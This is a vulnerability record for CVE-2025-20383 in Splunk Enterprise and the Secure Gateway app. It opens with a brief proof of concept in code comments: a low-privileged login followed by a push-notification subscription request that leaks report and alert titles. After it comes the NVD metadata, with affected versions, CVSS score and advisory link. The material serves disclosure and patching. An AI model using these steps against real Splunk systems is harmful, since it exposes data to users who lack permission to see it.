CVE-2025-20383

// CVE-2025-20383 PoC - Information Disclosure via Mobile Push Notifications // This PoC demonstrates the vulnerability where low-privileged users can receive // push notifications containing titles and descriptions of reports/alerts they don't have access to. // Prerequisites: // 1. Valid Splunk account with non-admin/non-power role // 2. Mobile app with push notifications enabled // Step 1: Authenticate to Splunk // POST /services/auth/login // username=<low_priv_user>&password=<password> // Step 2: Subscribe to mobile push notifications // POST /services/splunk_secure_gateway/notifications/subscriptions // { // "channel_type": "mobile_push", // "name": "mobile_notification_subscription", // "enabled": true // } // Step 3: Wait for push notifications // The low-privileged user will receive notifications containing: // - Report/Alert titles // - Report/Alert descriptions // Even if they don't have permission to view these reports/alerts // Note: This is a passive attack - no additional actions required after subscription // The system automatically sends notifications without proper access control checks

{"cve": {"id": "CVE-2025-20383", "sourceIdentifier": "[email protected]", "published": "2025-12-03T17:15:50.567", "lastModified": "2025-12-05T18:30:13.090", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In Splunk Enterprise versions below 10.0.2, 9.4.6, 9.3.8, and 9.2.10, and below 3.9.10, 3.8.58, and 3.7.28 of Splunk Secure Gateway app in Splunk Cloud Platform, a low-privileged user that does not hold the \"admin\" or \"power\" Splunk roles and subscribes to mobile push notifications could receive notifications that disclose the title and description of the report or alert even if they do not have access to view the report or alert."}, {"lang": "es", "value": "En las versiones de Splunk Enterprise anteriores a 10.0.2, 9.4.6, 9.3.8 y 9.2.10, y anteriores a 3.9.10, 3.8.58 y 3.7.28 de la aplicación Splunk Secure Gateway en Splunk Cloud Platform, un usuario con privilegios bajos que no posee los roles de Splunk 'admin' o 'power' y se suscribe a notificaciones push móviles podría recibir notificaciones que revelan el título y la descripción del informe o la alerta incluso si no tienen acceso para ver el informe o la alerta."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-200"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-Other"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:splunk:splunk:*:*:*:*:enterprise:*:*:*", "versionStartIncluding": "9.2.0", "versionEndExcluding": "9.2.10", "matchCriteriaId": "AE8BF109-2B9C-4C50-AC9F-10A45456FD75"}, {"vulnerable": true, "criteria": "cpe:2.3:a:splunk:splunk:*:*:*:*:enterprise:*:*:*", "versionStartIncluding": "9.3.0", "versionEndExcluding": "9.3.8", "matchCriteriaId": "05D6973D-D965-42D3-8320-AF4A4B424E6C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:splunk:splunk:*:*:*:*:enterprise:*:*:*", "versionStartIncluding": "9.4.0", "versionEndExcluding": "9.4.6", "matchCriteriaId": "8571F470-6AE1-4737-B1FA-49121E426AF2"}, {"vulnerable": true, "criteria": "cpe:2.3:a:splunk:splunk:*:*:*:*:enterprise:*:*:*", "versionStartIncluding": "10.0.0", "versionEndExcluding": "10.0.2", "matchCriteriaId": "4413D4BE-F225-4C28-B401-EB46D8F34160"}, {"vulnerable": true, "criteria": "cpe:2.3:a:splunk:splunk_cloud_platform:*:*:*:*:*:*:*:*", "versionStartIncluding": "9.3.2411", "versionEndExcluding": "9.3.2411.120", "matchCriteriaId": "B6CA3000-9C26-45B9-A2A2-C22F3F4246BC"}, {"vulnerable": true, "criteria": "cpe:2.3:a:splunk:splunk_cloud_platform:*:*:*:*:*:*:*:*", "versionStartIncluding": "10.0.2503", "versionEndExcluding": "10.0.2503.8", "matchCriteriaId": "D269788F-7244-4307-B551-C1B943EF2BB9"}, {"vulnerable": true, "criteria": "cpe:2.3:a:splunk:splunk_cloud_platform:*:*:*:*:*:*:*:*", "versionStartIncluding": "10.1.2507", "versionEndExcluding": "10.1.2507.6", "matchCriteriaId": "C54FA9B3-9E2A-4D99-8432-C39D3EC79507"}, {"vulnerable": true, "criteria": "cpe:2.3:a:splunk:splunk_secure_gateway:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.7.0", "versionEndExcluding": "3.7.28", "matchCriteriaId": "6947693D-3CE8-4C49-A1AB-94F8E6AEA562"}, {"vulnerable": true, "criteria": "cpe:2.3:a:splunk:splunk_secure_gateway:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.8.0", "versionEndExcluding": "3.8.58", "matchCriteriaId": "0583DB2E-A07E-4A14-8AA4-D9111F0F878C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:splunk:splunk_secure_gateway:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.9.0", "versionEndExcluding": "3.9.10", "matchCriteriaId": "C38430AA-336A-432E-AD40-78CBB5F4DC30"}]}]}], "references": [{"url": "https://advisory.splunk.com/advisories/SVD-2025-1202", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}